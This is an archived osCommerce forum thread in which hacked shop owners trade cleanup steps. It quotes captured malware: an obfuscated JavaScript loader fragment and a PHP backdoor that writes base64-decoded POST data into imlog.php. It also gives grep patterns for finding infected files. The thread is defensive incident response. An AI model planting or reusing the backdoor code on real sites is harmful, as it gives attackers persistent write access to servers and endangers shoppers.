Jump to content

Archived

This topic is now archived and is closed to further replies.

Jeanne1971

Trojan Horse Detected

Recommended Posts

If anyone can help, I'd be so greatly appreciative. The OSCommerce has apparently been hacked into somehow. I've read another's cry for help as well.

1. Why isn't OSCommerce more secure?

2. How on earth do we find this virus?

3. How can we keep it from happening again?

 

Here is what my Avast says when I go click on my site /store: "States: Trojan Horse Blocked JS:IFrame-AU[Trj}"

 

Any help would be greatly appreciated. Thank you soooo much in advance.

 

Jeanne

Share this post


Link to post
Share on other sites

Jeanne,

 

Follow these steps to clean and secure your website:

 

1) Lock down your site by using an .htaccess password so your customers are not attacked by the hackers code.

 

2) FTP all of the files to your local machine and use a program like WinGrep to identify and remove all malicious and anomalous files containing hacker code. Look for keywords such as 'base64','eval','decode'.

 

3) Delete the files on your hosting account before uploading the clean files.

 

4) FTP the clean files back to your hosting account and read and implement the security patches and contributions found in these two threads. Admin Security and Website Security.

 

5) Change all of your passwords: FTP, CPANEL, STORE ADMIN and DATABASE

 

6) Make sure File and Directory Permissions are set correctly. Directories no higher than 755, Files no higher than 644 and the TWO configure.php files no higher than 444

 

7) If your site has been 'black listed' as an attack site by Google, then log into Google Webmaster Tools and submit the site to be re-indexed and verified to be removed from the 'black list'

 

8) Remove the .htaccess password protection so your customers can resume making purchases from your website.

 

9) Monitor your website using the newly installed contributions to prevent future hacker attacks.

 

10) If you feel you can not perform any of the above steps, ask for help. If you miss any of these steps your site may remain accessible to hackers.

 

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

THANK YOU SO MUCH CHRIS! I will have our computer "God" (I call him) try this out. I pray it works. Thanks again for taking the time to write back. Much appreciated. :)

 

 

 

Jeanne,

 

Follow these steps to clean and secure your website:

 

1) Lock down your site by using an .htaccess password so your customers are not attacked by the hackers code.

 

2) FTP all of the files to your local machine and use a program like WinGrep to identify and remove all malicious and anomalous files containing hacker code. Look for keywords such as 'base64','eval','decode'.

 

3) Delete the files on your hosting account before uploading the clean files.

 

4) FTP the clean files back to your hosting account and read and implement the security patches and contributions found in these two threads. Admin Security and Website Security.

 

5) Change all of your passwords: FTP, CPANEL, STORE ADMIN and DATABASE

 

6) Make sure File and Directory Permissions are set correctly. Directories no higher than 755, Files no higher than 644 and the TWO configure.php files no higher than 444

 

7) If your site has been 'black listed' as an attack site by Google, then log into Google Webmaster Tools and submit the site to be re-indexed and verified to be removed from the 'black list'

 

8) Remove the .htaccess password protection so your customers can resume making purchases from your website.

 

9) Monitor your website using the newly installed contributions to prevent future hacker attacks.

 

 

 

 

Chris

Share this post


Link to post
Share on other sites

Hi All,

FYI, we've been hacked too on the same basis.

The hacking started 3 days ago.

I belive there's a security issue with OSC 2.2MS2 and also in a lighter form on 2.3.1.

 

We haven't solved yet 100%.

So far the infos I can tell you are the following:

 

- the script infects every .js in the website, later stage also index.* files.

- the infected script contains parts of the following : "2/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,500/t];var aty="";var g=function(){return this;}();ko=g["e"+iu+"l"];var ydxx="";gh=ko(my);for(var i=0;i<dkel.length;i++){ch=ko(dkel);ydxx+=gh(ch);}setTimeout(function(){ko(ydxx);},500);"

- appearently it operates a shell and gives full accessibility to the host space.

 

solutions taken so far, after the above mentioned:

- renamed users and admin folders.

- htaccess and htpasswd protected admin folder.

- all js permissions set to 644

- installed the following:

- referred to the following topic and installed contrib php security by FWR Media: http://forums.oscommerce.com/topic/348589-serious-hole-found-in-oscommerce/

 

name of files we found to be frauds:

/catalog/tmp.php /catalog/f_index.php /catalog/satria.php a lot of nested *.php files in subfolder images.

 

googleff80bb6206ad7c2b.php

 

those files have been found corrupting or corrupted by the hosting company.

We belive 'tho that there might be a leak in FCKEditor, as our troubles started from the moment we used it.

 

That's where I got so far. 2 days ago the problems seemed solved. Right now we are still at it.

 

Last thing: use secure FTP connections if you can.

Share this post


Link to post
Share on other sites

We had the same vulnerability today (and same attack in the past) it seems its more a poorly secured server than a osCOMMERCE issue!

 

Firstly firewall properly (close ports like ssh, ssft, ftp etc.... from the internet) then ensure users like www-data or users with write permissions to your web directory are set in the /etc/passwd file to /bin/false (might also be an idea to change passwords on your sytem) that should secure the server.

 

The code that gets "appended" to the files start with "funtion createCSS" so firstly zip -r your web directory in case you mess something up (the files will be backed up and cannot be executed from within a zip file) then go to the root of your web data directory and search for this code, send it to a file, edit the file and delete the code... something like grep -Rl "function createCSS" * >abc ; vi `cat abc` ; rm abc should do the trick (you'll delete everything from the word "funtion" and beyond because its been appended and not inserted midway through a file, you'll need to have your vi commands handy :) ), you could probably script this with perl or bash but if there arent too many files it wont take you too long.

 

 

have a look at /var/log/auth to work out where the attacks are coming from, you should easily be able to identify the dictionary attacks.

 

I'm not sure if there's a script or daemon that gets loaded onto the server that regenerates this hack but if so I'll know in a few days time and will hopefully post a fix, if not, we'll reinstall :D

 

Hope this helps someone :P

Share this post


Link to post
Share on other sites

Well Paul,

we're running our OSC from a hosted shared space, so we cannot look into the config you're suggesting.

On the other side tho this is a pretty good hosting and I would be surprised to see this waeknesses in its infrastructure.

I must say there is a slight chance for a deamon since we cleared everything and again it showed up again!

 

Let's keep posting over here, looks like we're in front of something that is affecting pretty much many people.

Share this post


Link to post
Share on other sites

Well Paul,

we're running our OSC from a hosted shared space, so we cannot look into the config you're suggesting.

On the other side tho this is a pretty good hosting and I would be surprised to see this waeknesses in its infrastructure.

I must say there is a slight chance for a deamon since we cleared everything and again it showed up again!

 

Let's keep posting over here, looks like we're in front of something that is affecting pretty much many people.

 

I do tend to agree with you, after further investigating I've seen no date transfer to the server so this would indicate a security vulnerability in OSC, I'll try the .htaccess on the admin directory, I dont see how moving the admin directory will address this security issue unless the hack script is explicitly looking for a directory named "admin"! this would be a poor oversight on the part of the hacker :P

 

Like you suggest, lets post our findings and hopefully get this addressed and resolved. Damn, this is a waste of time!

Share this post


Link to post
Share on other sites

I do tend to agree with you, after further investigating I've seen no date transfer to the server so this would indicate a security vulnerability in OSC, I'll try the .htaccess on the admin directory, I dont see how moving the admin directory will address this security issue unless the hack script is explicitly looking for a directory named "admin"! this would be a poor oversight on the part of the hacker :P

 

Like you suggest, lets post our findings and hopefully get this addressed and resolved. Damn, this is a waste of time!

a huge one, Lost most of my last 4 days now solving it instead of looking at business strategy! :-\

 

I'm running wingrep now on OSC folder we'll see what comes out.

Be careful to check also all the other JS script you have on the server, chances are they got troubles too, expcecially FCK

Share this post


Link to post
Share on other sites

Btw,

I've seen one of the posts has been edited by Jan Zonjee if I'm not mistaken an OSC team member, would be nice to hear his take on this one...

Share this post


Link to post
Share on other sites

why is everyone suggesting Wingrep and not grep? is it because they dont have access to grep on their hosted server?

 

 

Wingrep is suggested so you can work from your local machine to identify the malicious code and anomalous files and then upload the cleaned version back to the hosting account. Working offline is much more efficient than working on the live server.

 

 

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

If you don't have access to grep there is grep funtionality in the add on Virus Threat scanner.

 

Also try reading the pinned thread in the security forum, Jan posts some goods security solutions.

 

HTH

 

G


Need help installing add ons/contributions, cleaning a hacked site or a bespoke development, check my profile

 

Virus Threat Scanner

My Contributions

Basic install answers.

Click here for Contributions / Add Ons.

UK your site.

Site Move.

Basic design info.

 

For links mentioned in old answers that are no longer here follow this link Useful Threads.

 

If this post was useful, click the Like This button over there ======>>>>>.

Share this post


Link to post
Share on other sites

Jeanne,

do you have other scripts other than OSC?

From the fTP client check the last modify date of JS files. You will notice that some of them indipendently from the folders have been modified at the same time, likely to be today or yesterday.

Check for those. Then ask your host to run diagnostics and virus scan on your space and to send you a log with infected files to delete.

Also it could be that your local machine is infected so you might need to run a scan to avoid having a FTP password stealer on your pc.

 

 

Doing everything, Avast is still stopping the site stating this infection: JS:IFrame_AU [Trj]

Share this post


Link to post
Share on other sites

I am working with Jeanne on getting rid of this malware.

 

Currently, I am downloading her entire site (on my virtual machine).

 

When the files are downloaded, I am going to run a search across all of the files for the bad code that is showing up.

 

For whatever reason, this malware is able to infect the site without changing the "modified date" on the files. So looking for the last modified file isn't an option.

 

FCKEditor is being used on the site in the admin area, so it is possible that is the attack vector.

 

Thanks for all the help!

Share this post


Link to post
Share on other sites

I downloaded Windows Grep and scanned the files for that bad code.

 

That bad code was injected to the bottom of the following files:

 

/includes/languages/english/index.php

/includes/languages/espanol/index.php

/includes/languages/german/index.php

 

Now, I just gotta figure out where they are able to do this from.

Share this post


Link to post
Share on other sites

John,

 

This is from my original post:

 

read and implement the security patches and contributions found in these two threads. Admin Security and Website Security.

 

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

I implemented the SecurityPro and SecurityMonitor. SecurityMonitor does not work due to the volume of images we have, it runs out of memory and crashes.

 

Currently, I deleted all the files from the web server. I am uploading only the files needed to run the store.

 

Thanks for all the helP!

 

John

 

 

 

John,

 

This is from my original post:

 

read and implement the security patches and contributions found in these two threads. Admin Security and Website Security.

 

 

 

Chris

Share this post


Link to post
Share on other sites

I implemented the SecurityPro and SecurityMonitor. SecurityMonitor does not work due to the volume of images we have, it runs out of memory and crashes.

 

Currently, I deleted all the files from the web server. I am uploading only the files needed to run the store.

 

Thanks for all the helP!

 

John

 

So far, after installing security pro I must say I haven't got no attacks yet. Fingers crossed!

Share this post


Link to post
Share on other sites

So far, after installing security pro I must say I haven't got no attacks yet. Fingers crossed!

spoke to early.

it's there again.

Share this post


Link to post
Share on other sites

Ok, our site seems to be mostly sorted out now, thanks for all the contributions.

 

Chris, if I do a grep -Rl base64 in the OSC directory these files get listed:

 

cookie_usage.php

editors/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpthumb.functions.php

editors/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpthumb.class.php

editors/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php

images/imlog.php

includes/classes/class.smtp.php

includes/classes/mime.php

includes/classes/email.php

includes/classes/nusoap.php

includes/functions/crypt.php

contact_us.php

cookie_usage.php

counter.php

googleaaaabbc73e56.php

googlef0675943e648.php

googlef2e1f595221d.php

images/pic.php

images/imlog.php

images/images_resize.php

includes/header.php

includes/classes/packing.php

includes/classes/class.smtp.php

includes/classes/mime.php

includes/classes/http_client.php

includes/classes/email.php

includes/classes/nusoap.php

includes/functions/crypt.php

includes/languages/english/js.php

includes/languages/english/cookie_usage.php

includes/languages/english/login.php

index.php

popup_image.php

product_info.php

product_reviews.php

search_advanced.php

 

 

Code looks like this (snippet only):

<!--tmtmtmtm<?php if(isset($_POST['d'])){$h=fopen('imlog.php','w');fwrite($h,base64_decode($_POST['d']));fclose($h);exit;}?>--> [QUERY] select value from sessions where sesskey = 'f59f8ced45341afb3f1338f751c683d7' and expiry > '1294125131'

<!--tmtmtmtm<?php if(isset($_POST['d'])){$h=fopen('imlog.php','w');fwrite($h,base64_decode($_POST['d']));fclose($h);exit;}?>--> [QUERY] select languages_id, name, code, image, directory from languages order by sort_order

 

Should I remove these lines of code from the above files? if so, do I delete all the lines of code that include "based64" if I did that the admin files for example would be empty, so should I delete these files altogether?

 

thanks

Share this post


Link to post
Share on other sites

and grep -Rl "eval(base64_decode(" * (which I'm almost certain shouldn't be there) returns these files:

 

cookie_usage.php

includes/header.php

includes/languages/english/cookie_usage.php

includes/languages/english/login.php

 

I've removed the lines of code that include eval(base64_decode(

Share this post


Link to post
Share on other sites

$h=fopen('imlog.php','w'); which opens imlog.php to write in,

fwrite($h,base64_decode($_POST['d'])); which will write whatever they have in their post form, probably worm code (a long hash code with eval() at the beginning)

fclose($h);exit;} closes the file

 

Basically if there is a page on your site with that code in it, an attacker will be able to use it to easily append more code into those files in question by sending a forged POST request to the file that has that code in it. With that code already resident in your file the attacker can then reinfect files like imlog.php on servers with particular apache/php configurations where the user and script (php) have owner privaleges.


- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Share this post


Link to post
Share on other sites

paulijatho,

 

I've got the exact same problem as you, but can't seem to shake it. I've removed the bad php files, but they keep reappearing whenever anyone hits our osCommerce store.

 

Does anyone know if the backend Sql data itself could somehow be infected and recreating the /oscommerce/catalog/images/cookie_usage.php file with this code:

- < ! --tmtmtmtm< ? php if(isset($_POST['d'])){$h=fopen('imlog.php','w');fwrite($h,base64_decode($_POST['d']));fclose($h);exit;} ? >-- >

 

I've even gone so far as to put an .htaccess file in that folder to block any PHP files from running, which hopefully stops the spread of this trojan. But, the goal is to remove it.

 

Thanks,

Jim

Share this post


Link to post
Share on other sites

×